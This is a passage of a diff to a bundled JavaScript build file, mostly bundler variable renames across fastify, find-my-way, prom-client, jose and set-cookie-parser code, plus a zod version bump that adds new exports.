if"}(validator.validate("${schemaRef}", ${input2})) { ${nestedResult} } `; @@ -38779,7 +38779,7 @@ ${contextFunctionCode}`, `; return code; } - function buildIfThenElse(context2, location, input) { + function buildIfThenElse(context2, location, input2) { context2.validatorSchemasIds.add(location.schemaId); const { if: ifSchema, @@ -38809,10 +38809,10 @@ ${contextFunctionCode}`, } if (!elseSchema) { return ` - if (validator.validate("${ifSchemaRef}", ${input})) { - ${buildValue(context2, thenMergedLocation, input)} + if (validator.validate("${ifSchemaRef}", ${input2})) { + ${buildValue(context2, thenMergedLocation, input2)} } else { - ${buildValue(context2, rootLocation, input)} + ${buildValue(context2, rootLocation, input2)} } `; } @@ -38830,30 +38830,30 @@ ${contextFunctionCode}`, ]); } return ` - if (validator.validate("${ifSchemaRef}", ${input})) { - ${buildValue(context2, thenMergedLocation, input)} + if (validator.validate("${ifSchemaRef}", ${input2})) { + ${buildValue(context2, thenMergedLocation, input2)} } else { - ${buildValue(context2, elseMergedLocation, input)} + ${buildValue(context2, elseMergedLocation, input2)} } `; } - function buildValue(context2, location, input) { + function buildValue(context2, location, input2) { let schema = location.schema; if (typeof schema === "boolean") { - return `json += JSON.stringify(${input})`; + return `json += JSON.stringify(${input2})`; } if (schema.$ref) { location = resolveRef2(context2, location); schema = location.schema; } if (schema.allOf) { - return buildAllOf(context2, location, input); + return buildAllOf(context2, location, input2); } if (schema.anyOf || schema.oneOf) { - return buildOneOf(context2, location, input); + return buildOneOf(context2, location, input2); } if (schema.if && schema.then) { - return buildIfThenElse(context2, location, input); + return buildIfThenElse(context2, location, input2); } if (schema.type === void 0) { const inferredType = inferTypeByKeyword(schema); @@ -38866,17 +38866,17 @@ ${contextFunctionCode}`, const nullable2 = schema.nullable === true; if (nullable2) { code += ` - if (${input} === null) { + if (${input2} === null) { json += JSON_STR_NULL } else { `; } if (schema.const !== void 0) { - code += buildConstSerializer(location, input); + code += buildConstSerializer(location, input2); } else if (Array.isArray(type)) { - code += buildMultiTypeSerializer(context2, location, input); + code += buildMultiTypeSerializer(context2, location, input2); } else { - code += buildSingleTypeSerializer(context2, location, input); + code += buildSingleTypeSerializer(context2, location, input2); } if (nullable2) { code += ` @@ -41705,12 +41705,12 @@ var require_parse3 = __commonJS({ var Empty = function() { }; Empty.prototype = /* @__PURE__ */ Object.create(null); - function parse4(input) { + function parse4(input2) { const result = new Empty(); - if (typeof input !== "string") { + if (typeof input2 !== "string") { return result; } - let inputLength = input.length; + let inputLength = input2.length; let key = ""; let value = ""; let startingIndex = -1; @@ -41722,13 +41722,13 @@ var require_parse3 = __commonJS({ let hasBothKeyValuePair = false; let c = 0; for (let i = 0; i < inputLength + 1; i++) { - c = i !== inputLength ? input.charCodeAt(i) : 38; + c = i !== inputLength ? input2.charCodeAt(i) : 38; if (c === 38) { hasBothKeyValuePair = equalityIndex > startingIndex; if (!hasBothKeyValuePair) { equalityIndex = i; } - key = input.slice(startingIndex + 1, equalityIndex); + key = input2.slice(startingIndex + 1, equalityIndex); if (hasBothKeyValuePair || key.length > 0) { if (keyHasPlus) { key = key.replace(plusRegex, " "); @@ -41737,7 +41737,7 @@ var require_parse3 = __commonJS({ key = fastDecode(key) || key; } if (hasBothKeyValuePair) { - value = input.slice(equalityIndex + 1, i); + value = input2.slice(equalityIndex + 1, i); if (valueHasPlus) { value = value.replace(plusRegex, " "); } @@ -41997,18 +41997,18 @@ var require_stringify = __commonJS({ } return ""; } - function stringify2(input) { + function stringify2(input2) { let result = ""; - if (input === null || typeof input !== "object") { + if (input2 === null || typeof input2 !== "object") { return result; } const separator = "&"; - const keys = Object.keys(input); + const keys = Object.keys(input2); const keyLength = keys.length; let valueLength = 0; for (let i = 0; i < keyLength; i++) { const key = keys[i]; - const value = input[key]; + const value = input2[key]; const encodedKey = encodeString(key) + "="; if (i) { result += separator; @@ -42776,24 +42776,24 @@ var require_safe_regex2 = __commonJS({ "use strict"; var parse4 = require_dist4(); var { types: types2 } = require_dist4(); - function walk(node, opts, starHeight) { + function walk(node2, opts, starHeight) { let i; let ok; let len; - if (node.type === types2.REPETITION) { + if (node2.type === types2.REPETITION) { starHeight++; opts.reps++; if (starHeight > 1) return false; if (opts.reps > opts.limit) return false; } - const options = node.options || node.value?.options; + const options = node2.options || node2.value?.options; if (options) { for (i = 0, len = options.length; i < len; i++) { ok = walk({ stack: options[i] }, opts, starHeight); if (!ok) return false; } } - const stack = node.stack || node.value?.stack; + const stack = node2.stack || node2.value?.stack; if (!stack) return true; for (i = 0, len = stack.length; i < len; i++) { ok = walk(stack[i], opts, starHeight); @@ -42943,8 +42943,8 @@ var require_pretty_print = __commonJS({ return mergedRoutes; }, []); } - function serializeNode(node, prefix, options) { - let routes = node.routes; + function serializeNode(node2, prefix, options) { + let routes = node2.routes; if (options.method === void 0) { routes = routes.map(normalizeRoute); } @@ -42958,28 +42958,28 @@ var require_pretty_print = __commonJS({ return routes.map(serializeRoute).join(` ${prefix}`); } - function buildObjectTree(node, tree, prefix, options) { - if (node.isLeafNode || options.commonPrefix !== false) { + function buildObjectTree(node2, tree, prefix, options) { + if (node2.isLeafNode || options.commonPrefix !== false) { prefix = prefix || "(empty root node)"; tree = tree[prefix] = {}; - if (node.isLeafNode) { - tree[treeDataSymbol] = serializeNode(node, prefix, options); + if (node2.isLeafNode) { + tree[treeDataSymbol] = serializeNode(node2, prefix, options); } prefix = ""; } - if (node.staticChildrenNodes) { - for (const child of node.staticChildrenNodes) { + if (node2.staticChildrenNodes) { + for (const child of node2.staticChildrenNodes) { buildObjectTree(child, tree, prefix + child.prefix, options); } } - if (node.parametricChildren) { - for (const child of Object.values(node.parametricChildren)) { + if (node2.parametricChildren) { + for (const child of Object.values(node2.parametricChildren)) { const childPrefix = Array.from(child.nodePaths).join("|"); buildObjectTree(child, tree, prefix + childPrefix, options); } } - if (node.wildcardChild) { - buildObjectTree(node.wildcardChild, tree, "*", options); + if (node2.wildcardChild) { + buildObjectTree(node2.wildcardChild, tree, "*", options); } } function prettyPrintTree(root, options) { @@ -43182,14 +43182,14 @@ var require_node = __commonJS({ this.staticChildrenCharCodes = []; this.staticChildrenNodes = []; } - setStaticChild(label, node) { + setStaticChild(label, node2) { const charCode = label.charCodeAt(0); const index2 = this.staticChildrenCharCodes.indexOf(charCode); if (index2 === -1) { this.staticChildrenCharCodes.push(charCode); - this.staticChildrenNodes.push(node); + this.staticChildrenNodes.push(node2); } else { - this.staticChildrenNodes[index2] = node; + this.staticChildrenNodes[index2] = node2; } } findStaticMatchingChild(path, pathIndex) { @@ -43232,9 +43232,9 @@ var require_node = __commonJS({ } return staticChild.createStaticChild(path.slice(i)); } - const node = new StaticNode(path); - this.setStaticChild(path.charAt(0), node); - return node; + const node2 = new StaticNode(path); + this.setStaticChild(path.charAt(0), node2); + return node2; } }; var StaticNode = class _StaticNode extends ParentNode { @@ -43294,13 +43294,13 @@ var require_node = __commonJS({ return staticNode; } getNextNode(path, pathIndex, nodeStack, paramsCount) { - let node = this.findStaticMatchingChild(path, pathIndex); + let node2 = this.findStaticMatchingChild(path, pathIndex); let parametricBrotherNodeIndex = 0; - if (node === null) { + if (node2 === null) { if (this.parametricChildren.length === 0) { return this.wildcardChild; } - node = this.parametricChildren[0]; + node2 = this.parametricChildren[0]; parametricBrotherNodeIndex = 1; } if (this.wildcardChild !== null) { @@ -43317,7 +43317,7 @@ var require_node = __commonJS({ brotherNode: this.parametricChildren[i] }); } - return node; + return node2; } _compilePrefixMatch() { if (this.prefix.length === 1) { @@ -44242,7 +44242,7 @@ var require_find_my_way = __commonJS({ path = sanitizedUrl.path; querystring2 = sanitizedUrl.querystring; shouldDecodeParam = sanitizedUrl.shouldDecodeParam; - } catch (error51) { + } catch (error62) { return this._onBadUrl(path); } if (this.ignoreTrailingSlash) { @@ -44270,8 +44270,8 @@ var require_find_my_way = __commonJS({ }; } } - let node = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); - if (node === null) { + let node2 = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); + if (node2 === null) { if (brothersNodesStack.length === 0) { if (maxParamLengthExceeded && this.onMaxParamLength) { return this._onMaxParamLength(originPath); @@ -44281,9 +44281,9 @@ var require_find_my_way = __commonJS({ const brotherNodeState = brothersNodesStack.pop(); pathIndex = brotherNodeState.brotherPathIndex; params.splice(brotherNodeState.paramsCount); - node = brotherNodeState.brotherNode; + node2 = brotherNodeState.brotherNode; } - currentNode = node; + currentNode = node2; while (true) { if (currentNode.kind === NODE_TYPES.STATIC) { pathIndex += currentNode.prefix.length; @@ -44479,7 +44479,7 @@ var require_find_my_way = __commonJS({ if (parsed.protocol !== `${scheme}:` || parsed.host.length === 0) { return null; } - } catch (error51) { + } catch (error62) { return null; } if (authorityEnd === url2.length) { @@ -44880,14 +44880,14 @@ var require_route = __commonJS({ const hasHEADHandler = headHandler !== null; try { router.on(opts.method, opts.url, { constraints }, routeHandler, context2); - } catch (error51) { + } catch (error62) { if (!context2[kRouteByFastify]) { const methods = Array.isArray(opts.method) ? opts.method : [opts.method]; - const isDuplicatedRoute = methods.some((method) => error51.message.includes(`Method '${method}' already declared for route`)); + const isDuplicatedRoute = methods.some((method) => error62.message.includes(`Method '${method}' already declared for route`)); if (isDuplicatedRoute) { throw new FST_ERR_DUPLICATED_ROUTE(opts.method, opts.url); } - throw error51; + throw error62; } } this.after((notHandledErr, done) => { @@ -44924,16 +44924,16 @@ var require_route = __commonJS({ opts.validatorCompiler || schemaController.validatorCompiler, isCustom ); - } catch (error51) { - throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error51.message); + } catch (error62) { + throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error62.message); } if (opts.schema.response && !opts.serializerCompiler) { schemaController.setupSerializer(this[kOptions]); } try { compileSchemasForSerialization(context2, opts.serializerCompiler || schemaController.serializerCompiler); - } catch (error51) { - throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error51.message); + } catch (error62) { + throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error62.message); } } }); @@ -45906,12 +45906,12 @@ var require_request2 = __commonJS({ } util.inherits(Request, Readable); util.inherits(CustomRequest, Request); - Request.prototype.destroy = function(error51) { + Request.prototype.destroy = function(error62) { if (this.destroyed || this._lightMyRequest.isDone) return; this.destroyed = true; - if (error51) { + if (error62) { this._error = true; - process.nextTick(() => this.emit("error", error51)); + process.nextTick(() => this.emit("error", error62)); } process.nextTick(() => this.emit("close")); }; @@ -45998,42 +45998,42 @@ var require_set_cookie = __commonJS({ } return { name, value }; } - function parse4(input, options) { + function parse4(input2, options) { options = options ? Object.assign({}, defaultParseOptions, options) : defaultParseOptions; - if (!input) { + if (!input2) { if (!options.map) { return []; } else { return createNullObj(); } } - if (input.headers) { - if (typeof input.headers.getSetCookie === "function") { - input = input.headers.getSetCookie(); - } else if (input.headers["set-cookie"]) { - input = input.headers["set-cookie"]; + if (input2.headers) { + if (typeof input2.headers.getSetCookie === "function") { + input2 = input2.headers.getSetCookie(); + } else if (input2.headers["set-cookie"]) { + input2 = input2.headers["set-cookie"]; } else { - var sch = input.headers[Object.keys(input.headers).find(function(key) { + var sch = input2.headers[Object.keys(input2.headers).find(function(key) { return key.toLowerCase() === "set-cookie"; })]; - if (!sch && input.headers.cookie && !options.silent) { + if (!sch && input2.headers.cookie && !options.silent) { console.warn( "Warning: set-cookie-parser appears to have been called on a request object. It is designed to parse Set-Cookie headers from responses, not Cookie headers from requests. Set the option {silent: true} to suppress this warning." ); } - input = sch; + input2 = sch; } } - if (!Array.isArray(input)) { - input = [input]; + if (!Array.isArray(input2)) { + input2 = [input2]; } if (!options.map) { - return input.filter(isNonEmptyString).map(function(str) { + return input2.filter(isNonEmptyString).map(function(str) { return parseString(str, options); }).filter(Boolean); } else { var cookies = createNullObj(); - return input.filter(isNonEmptyString).reduce(function(cookies2, str) { + return input2.filter(isNonEmptyString).reduce(function(cookies2, str) { var cookie = parseString(str, options); if (cookie && !isForbiddenKey(cookie.name)) { cookies2[cookie.name] = cookie; @@ -46214,11 +46214,11 @@ var require_response = __commonJS({ this.emit("finish"); this.destroy(); }; - Response.prototype.destroy = function(error51) { + Response.prototype.destroy = function(error62) { if (this.destroyed) return; this.destroyed = true; - if (error51) { - process.nextTick(() => this.emit("error", error51)); + if (error62) { + process.nextTick(() => this.emit("error", error62)); } process.nextTick(() => this.emit("close")); }; @@ -47709,12 +47709,12 @@ var require_fastify = __commonJS({ } if (fastify2[kState].started) { if (fastify2[kState].closing) { - const error51 = new FST_ERR_REOPENED_CLOSE_SERVER(); + const error62 = new FST_ERR_REOPENED_CLOSE_SERVER(); if (cb) { - cb(error51); + cb(error62); return; } else { - return Promise.reject(error51); + return Promise.reject(error62); } } return lightMyRequest(httpHandler, opts, cb); @@ -49781,28 +49781,28 @@ var require_rbtree = __commonJS({ var gp = null; var ggp = head; var p = null; - var node = this._root; + var node2 = this._root; ggp.right = this._root; while (true) { - if (node === null) { - node = new Node(data); - p.set_child(dir, node); + if (node2 === null) { + node2 = new Node(data); + p.set_child(dir, node2); ret2 = true; this.size++; - } else if (is_red(node.left) && is_red(node.right)) { - node.red = true; - node.left.red = false; - node.right.red = false; + } else if (is_red(node2.left) && is_red(node2.right)) { + node2.red = true; + node2.left.red = false; + node2.right.red = false; } - if (is_red(node) && is_red(p)) { + if (is_red(node2) && is_red(p)) { var dir2 = ggp.right === gp; - if (node === p.get_child(last)) { + if (node2 === p.get_child(last)) { ggp.set_child(dir2, single_rotate(gp, !last)); } else { ggp.set_child(dir2, double_rotate(gp, !last)); } } - var cmp = this._comparator(node.data, data); + var cmp = this._comparator(node2.data, data); if (cmp === 0) { break; } @@ -49812,8 +49812,8 @@ var require_rbtree = __commonJS({ ggp = gp; } gp = p; - p = node; - node = node.get_child(dir); + p = node2; + node2 = node2.get_child(dir); } this._root = head.right; } @@ -49825,34 +49825,34 @@ var require_rbtree = __commonJS({ return false; } var head = new Node(void 0); - var node = head; - node.right = this._root; + var node2 = head; + node2.right = this._root; var p = null; var gp = null; var found = null; var dir = 1; - while (node.get_child(dir) !== null) { + while (node2.get_child(dir) !== null) { var last = dir; gp = p; - p = node; - node = node.get_child(dir); - var cmp = this._comparator(data, node.data); + p = node2; + node2 = node2.get_child(dir); + var cmp = this._comparator(data, node2.data); dir = cmp > 0; if (cmp === 0) { - found = node; + found = node2; } - if (!is_red(node) && !is_red(node.get_child(dir))) { - if (is_red(node.get_child(!dir))) { - var sr = single_rotate(node, dir); + if (!is_red(node2) && !is_red(node2.get_child(dir))) { + if (is_red(node2.get_child(!dir))) { + var sr = single_rotate(node2, dir); p.set_child(last, sr); p = sr; - } else if (!is_red(node.get_child(!dir))) { + } else if (!is_red(node2.get_child(!dir))) { var sibling = p.get_child(!last); if (sibling !== null) { if (!is_red(sibling.get_child(!last)) && !is_red(sibling.get_child(last))) { p.red = false; sibling.red = true; - node.red = true; + node2.red = true; } else { var dir2 = gp.right === p; if (is_red(sibling.get_child(last))) { @@ -49862,7 +49862,7 @@ var require_rbtree = __commonJS({ } var gpc = gp.get_child(dir2); gpc.red = true; - node.red = true; + node2.red = true; gpc.left.red = false; gpc.right.red = false; } @@ -49871,8 +49871,8 @@ var require_rbtree = __commonJS({ } } if (found !== null) { - found.data = node.data; - p.set_child(p.right === node, node.get_child(node.left === null)); + found.data = node2.data; + p.set_child(p.right === node2, node2.get_child(node2.left === null)); this.size--; } this._root = head.right; @@ -49881,8 +49881,8 @@ var require_rbtree = __commonJS({ } return found !== null; }; - function is_red(node) { - return node !== null && node.red; + function is_red(node2) { + return node2 !== null && node2.red; } function single_rotate(root, dir) { var save = root.get_child(!dir); @@ -49933,21 +49933,21 @@ var require_bintree = __commonJS({ } var dir = 0; var p = null; - var node = this._root; + var node2 = this._root; while (true) { - if (node === null) { - node = new Node(data); - p.set_child(dir, node); + if (node2 === null) { + node2 = new Node(data); + p.set_child(dir, node2); ret = true; this.size++; return true; } - if (this._comparator(node.data, data) === 0) { + if (this._comparator(node2.data, data) === 0) { return false; } - dir = this._comparator(node.data, data) < 0; - p = node; - node = node.get_child(dir); + dir = this._comparator(node2.data, data) < 0; + p = node2; + node2 = node2.get_child(dir); } }; BinTree.prototype.remove = function(data) { @@ -49955,23 +49955,23 @@ var require_bintree = __commonJS({ return false; } var head = new Node(void 0); - var node = head; - node.right = this._root; + var node2 = head; + node2.right = this._root; var p = null; var found = null; var dir = 1; - while (node.get_child(dir) !== null) { - p = node; - node = node.get_child(dir); - var cmp = this._comparator(data, node.data); + while (node2.get_child(dir) !== null) { + p = node2; + node2 = node2.get_child(dir); + var cmp = this._comparator(data, node2.data); dir = cmp > 0; if (cmp === 0) { - found = node; + found = node2; } } if (found !== null) { - found.data = node.data; - p.set_child(p.right === node, node.get_child(node.left === null)); + found.data = node2.data; + p.set_child(p.right === node2, node2.get_child(node2.left === null)); this._root = head.right; this.size--; return true; @@ -52282,8 +52282,8 @@ var require_osMemoryHeapLinux = __commonJS({ var PROCESS_RESIDENT_MEMORY = "process_resident_memory_bytes"; var PROCESS_VIRTUAL_MEMORY = "process_virtual_memory_bytes"; var PROCESS_HEAP = "process_heap_bytes"; - function structureOutput(input) { - return input.split("\n").reduce((acc, string4) => { + function structureOutput(input2) { + return input2.split("\n").reduce((acc, string4) => { if (!values2.some((value2) => string4.startsWith(value2))) { return acc; } @@ -52313,8 +52313,8 @@ var require_osMemoryHeapLinux = __commonJS({ residentMemGauge.set(labels, structuredOutput.VmRSS); virtualMemGauge.set(labels, structuredOutput.VmSize); heapSizeMemGauge.set(labels, structuredOutput.VmData); - } catch (error51) { - debug("failed to collect Linux memory metrics: %o", error51); + } catch (error62) { + debug("failed to collect Linux memory metrics: %o", error62); } } }); @@ -52348,8 +52348,8 @@ var require_safeRss = __commonJS({ function safeRss() { try { return process.memoryUsage.rss(); - } catch (error51) { - debug("process.memoryUsage.rss() failed: %o", error51); + } catch (error62) { + debug("process.memoryUsage.rss() failed: %o", error62); return; } } @@ -52397,11 +52397,11 @@ var require_processOpenFileDescriptors = __commonJS({ var { debuglog } = __require("node:util"); var Gauge = require_gauge(); var fs2 = __require("fs"); - var process3 = __require("process"); + var process2 = __require("process"); var debug = debuglog("prom:metrics:process-open-fds"); var PROCESS_OPEN_FDS = "process_open_fds"; module.exports = (registry2, config2 = {}) => { - if (process3.platform !== "linux") { + if (process2.platform !== "linux") { return; } const namePrefix = config2.prefix ? config2.prefix : ""; @@ -52416,8 +52416,8 @@ var require_processOpenFileDescriptors = __commonJS({ try { const fds = fs2.readdirSync("/proc/self/fd"); this.set(labels, fds.length - 1); - } catch (error51) { - debug("failed to collect open file descriptors: %o", error51); + } catch (error62) { + debug("failed to collect open file descriptors: %o", error62); } } }); @@ -52448,8 +52448,8 @@ var require_processMaxFileDescriptors = __commonJS({ break; } } - } catch (error51) { - debug("failed to collect maximum file descriptors: %o", error51); + } catch (error62) { + debug("failed to collect maximum file descriptors: %o", error62); return; } } @@ -52481,8 +52481,8 @@ var require_eventLoopLag = __commonJS({ var perf_hooks; try { perf_hooks = __require("perf_hooks"); - } catch (error51) { - debug("perf_hooks module is unavailable: %o", error51); + } catch (error62) { + debug("perf_hooks module is unavailable: %o", error62); } var NODEJS_EVENTLOOP_LAG = "nodejs_eventloop_lag_seconds"; var NODEJS_EVENTLOOP_LAG_MIN = "nodejs_eventloop_lag_min_seconds"; @@ -52869,8 +52869,8 @@ var require_safeMemoryUsage = __commonJS({ function safeMemoryUsage() { try { return process.memoryUsage(); - } catch (error51) { - debug("process.memoryUsage() failed: %o", error51); + } catch (error62) { + debug("process.memoryUsage() failed: %o", error62); return; } } @@ -53029,8 +53029,8 @@ var require_gc = __commonJS({ var perf_hooks; try { perf_hooks = __require("perf_hooks"); - } catch (error51) { - debug("perf_hooks module is unavailable: %o", error51); + } catch (error62) { + debug("perf_hooks module is unavailable: %o", error62); } var NODEJS_GC_DURATION_SECONDS = "nodejs_gc_duration_seconds"; var DEFAULT_GC_DURATION_BUCKETS = [1e-3, 0.01, 0.1, 1, 2, 5]; @@ -53334,15 +53334,15 @@ var require_cluster = __commonJS({ metrics: metrics2 }); } - } catch (error51) { - debug("Error sending to primary", error51); + } catch (error62) { + debug("Error sending to primary", error62); if (!process.connected) { debug("Connection to primary lost."); } else { process.send({ type: GET_METRICS_RES, requestId: message2.requestId, - error: error51.message + error: error62.message }); } } @@ -53398,8 +53398,8 @@ var require_cluster = __commonJS({ const metrics2 = [historicMetrics, ...event.metrics]; historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); debug("collected metrics data from", worker.id); - } catch (error51) { - console.error("error collecting shutdown metrics", worker.id, error51); + } catch (error62) { + console.error("error collecting shutdown metrics", worker.id, error62); } finally { workers.delete(worker.id); } @@ -53673,12 +53673,12 @@ var require_worker = __commonJS({ threadId, metrics: metrics2 }); - } catch (error51) { - debug(error51); + } catch (error62) { + debug(error62); channel.postMessage({ type: GET_METRICS_RES, requestId: message2.requestId, - error: error51.message + error: error62.message }); } } else { @@ -53756,11 +53756,11 @@ var require_worker = __commonJS({ const metrics2 = [historicMetrics, ...workerMessage.metrics]; historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); debug("collected metrics data from", workerMessage.threadId); - } catch (error51) { + } catch (error62) { console.error( "error collecting shutdown metrics", workerMessage.threadId, - error51 + error62 ); } finally { workers.delete(workerName); @@ -54068,8 +54068,8 @@ var JWTClaimValidationFailed = class extends JOSEError { claim; reason; payload; - constructor(message2, payload, claim = "unspecified", reason = "unspecified") { - super(message2, { cause: { claim, reason, payload } }), this.claim = claim, this.reason = reason, this.payload = payload; + constructor(message2, payload, claim2 = "unspecified", reason = "unspecified") { + super(message2, { cause: { claim: claim2, reason, payload } }), this.claim = claim2, this.reason = reason, this.payload = payload; } }; var JWTExpired = class extends JOSEError { @@ -54078,8 +54078,8 @@ var JWTExpired = class extends JOSEError { claim; reason; payload; - constructor(message2, payload, claim = "unspecified", reason = "unspecified") { - super(message2, { cause: { claim, reason, payload } }), this.claim = claim, this.reason = reason, this.payload = payload; + constructor(message2, payload, claim2 = "unspecified", reason = "unspecified") { + super(message2, { cause: { claim: claim2, reason, payload } }), this.claim = claim2, this.reason = reason, this.payload = payload; } }; var JOSEAlgNotAllowed = class extends JOSEError { @@ -54150,23 +54150,23 @@ var JWSSignatureVerificationFailed = class extends JOSEError { // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/util/base64url.js var invalid = "The input to be decoded is not correctly encoded."; -function decode(input) { +function decode(input2) { try { - return decodeBase64(typeof input == "string" ? input : decoder.decode(input), true); + return decodeBase64(typeof input2 == "string" ? input2 : decoder.decode(input2), true); } catch (cause) { throw new TypeError(invalid, { cause }); } } // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/validate.js -function isObject(input) { - if (typeof input != "object" || input === null || Object.prototype.toString.call(input) !== "[object Object]") +function isObject(input2) { + if (typeof input2 != "object" || input2 === null || Object.prototype.toString.call(input2) !== "[object Object]") return false; - const prototype = Object.getPrototypeOf(input); + const prototype = Object.getPrototypeOf(input2); return prototype === null || Object.getPrototypeOf(prototype) === null; } -function isJwkSet(input) { - return isObject(input) && Array.isArray(input.keys) && Array.from(input.keys).every(isObject); +function isJwkSet(input2) { + return isObject(input2) && Array.isArray(input2.keys) && Array.from(input2.keys).every(isObject); } function isDisjoint(...headers) { const parameters = /* @__PURE__ */ new Set(); @@ -54215,7 +54215,7 @@ function validateCrit(Err, recognizedDefault, recognizedOption, protectedHeader, throw new Err('"crit" (Critical) Header Parameter MUST be integrity protected'); if (!protectedHeader || protectedHeader.crit === void 0) return []; - if (!Array.isArray(protectedHeader.crit) || protectedHeader.crit.length === 0 || protectedHeader.crit.some((input) => typeof input != "string" || input.length === 0)) + if (!Array.isArray(protectedHeader.crit) || protectedHeader.crit.length === 0 || protectedHeader.crit.some((input2) => typeof input2 != "string" || input2.length === 0)) throw new Err('"crit" (Critical) Header Parameter MUST be an array of non-empty strings when present'); const recognized = recognizedOption === void 0 ? recognizedDefault : { __proto__: null, ...recognizedOption, ...recognizedDefault }; for (const parameter of protectedHeader.crit) { @@ -54521,26 +54521,26 @@ function secs(str) { const value = parseFloat(matched[2]), numericDate2 = Math.round(value * multipliers[matched[3][0].toLowerCase()]); return Number.isFinite(numericDate2) || invalidDuration(), matched[1] === "-" || matched[4] === "ago" ? -numericDate2 : numericDate2; } -function validateInput(label, input) { - if (!Number.isFinite(input)) +function validateInput(label, input2) { + if (!Number.isFinite(input2)) throw new TypeError(`Invalid ${label} input`); - return input; + return input2; } var normalizeTyp = (value) => { const normalized = value.toLowerCase(); return value.includes("/") ? normalized : `application/${normalized}`; }; var checkAudiencePresence = (audPayload, audOption) => typeof audPayload == "string" ? audOption.includes(audPayload) : Array.isArray(audPayload) ? audOption.some((aud) => audPayload.includes(aud)) : false; -function validateNumericDate(payload, claim, required2 = false) { - const value = payload[claim]; +function validateNumericDate(payload, claim2, required2 = false) { + const value = payload[claim2]; if (!(value === void 0 && !required2)) { if (typeof value != "number") - throw new JWTClaimValidationFailed(`"${claim}" claim must be a number`, payload, claim, "invalid"); + throw new JWTClaimValidationFailed(`"${claim2}" claim must be a number`, payload, claim2, "invalid"); return value; } } -function unexpectedClaim(payload, claim) { - throw new JWTClaimValidationFailed(`unexpected "${claim}" claim value`, payload, claim, checkFailed); +function unexpectedClaim(payload, claim2) { + throw new JWTClaimValidationFailed(`unexpected "${claim2}" claim value`, payload, claim2, checkFailed); } function validateClaimsSet(protectedHeader, encodedPayload, options = {}) { let payload; @@ -54555,9 +54555,9 @@ function validateClaimsSet(protectedHeader, encodedPayload, options = {}) { throw new JWTClaimValidationFailed('unexpected "typ" JWT header value', payload, "typ", checkFailed); const { requiredClaims = [], issuer, subject, audience, maxTokenAge } = options, presenceCheck = [...requiredClaims]; maxTokenAge !== void 0 && presenceCheck.push("iat"), audience !== void 0 && presenceCheck.push("aud"), subject !== void 0 && presenceCheck.push("sub"), issuer !== void 0 && presenceCheck.push("iss"); - for (const claim of new Set(presenceCheck.reverse())) - if (!Object.hasOwn(payload, claim)) - throw new JWTClaimValidationFailed(`missing required "${claim}" claim`, payload, claim, "missing"); + for (const claim2 of new Set(presenceCheck.reverse())) + if (!Object.hasOwn(payload, claim2)) + throw new JWTClaimValidationFailed(`missing required "${claim2}" claim`, payload, claim2, "missing"); issuer !== void 0 && !(Array.isArray(issuer) ? issuer : [issuer]).includes(payload.iss) && unexpectedClaim(payload, "iss"), subject !== void 0 && payload.sub !== subject && unexpectedClaim(payload, "sub"), audience !== void 0 && !checkAudiencePresence(payload.aud, typeof audience == "string" ? [audience] : audience) && unexpectedClaim(payload, "aud"); const { clockTolerance } = options; let tolerance = 0; @@ -54606,8 +54606,8 @@ async function importWithAlgCache(cache2, jwk, entry) { if (key.type !== "public") throw new JWKSInvalid("JSON Web Key Set members must be public keys"); return cached2[alg] = key, key; - }).catch((error51) => { - throw cached2[alg] === pending && delete cached2[alg], error51; + }).catch((error62) => { + throw cached2[alg] === pending && delete cached2[alg], error62; }); cached2[alg] = pending; } @@ -54633,14 +54633,14 @@ function createLocalJWKSet(jwks) { if (!length) throw new JWKSNoMatchingKey(); if (length !== 1) { - const error51 = new JWKSMultipleMatchingKeys(); - throw error51[Symbol.asyncIterator] = async function* () { + const error62 = new JWKSMultipleMatchingKeys(); + throw error62[Symbol.asyncIterator] = async function* () { for (const jwk2 of candidates) try { yield await importWithAlgCache(cached2, jwk2, entry); } catch { } - }, error51; + }, error62; } return importWithAlgCache(cached2, jwk, entry); }, "jwks", { @@ -54743,12 +54743,13 @@ function createRemoteJWKSet(url2, options) { }); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/external.js var external_exports = {}; __export(external_exports, { $brand: () => $brand, $input: () => $input, $output: () => $output, + INVALID: () => INVALID, NEVER: () => NEVER, TimePrecision: () => TimePrecision, ZodAny: () => ZodAny, @@ -54764,6 +54765,9 @@ __export(external_exports, { ZodCUID2: () => ZodCUID2, ZodCatch: () => ZodCatch, ZodCodec: () => ZodCodec, + ZodCompileAsyncError: () => ZodCompileAsyncError, + ZodCompileUnsupportedError: () => ZodCompileUnsupportedError, + ZodCreditCard: () => ZodCreditCard, ZodCustom: () => ZodCustom, ZodCustomStringFormat: () => ZodCustomStringFormat, ZodDate: () => ZodDate, @@ -54779,12 +54783,14 @@ __export(external_exports, { ZodFirstPartyTypeKind: () => ZodFirstPartyTypeKind, ZodFunction: () => ZodFunction, ZodGUID: () => ZodGUID, + ZodIBAN: () => ZodIBAN, ZodIPv4: () => ZodIPv4, ZodIPv6: () => ZodIPv6, ZodISODate: () => ZodISODate, ZodISODateTime: () => ZodISODateTime, ZodISODuration: () => ZodISODuration, ZodISOTime: () => ZodISOTime, + ZodInstanceOf: () => ZodInstanceOf, ZodIntersection: () => ZodIntersection, ZodIssueCode: () => ZodIssueCode, ZodJWT: () => ZodJWT, @@ -54844,14 +54850,18 @@ __export(external_exports, { clone: () => clone, codec: () => codec, coerce: () => coerce_exports, + compile: () => compile, config: () => config, core: () => core_exports2, + creditCard: () => creditCard2, cuid: () => cuid3, cuid2: () => cuid22, + currencyCode: () => currencyCode2, custom: () => custom, - date: () => date3, + date: () => date2, decode: () => decode3, decodeAsync: () => decodeAsync2, + deepPartial: () => deepPartial, describe: () => describe2, discriminatedUnion: () => discriminatedUnion, e164: () => e1642, @@ -54869,6 +54879,7 @@ __export(external_exports, { formatError: () => formatError, fromJSONSchema: () => fromJSONSchema, function: () => _function, + getDiscriminatedOption: () => getDiscriminatedOption, 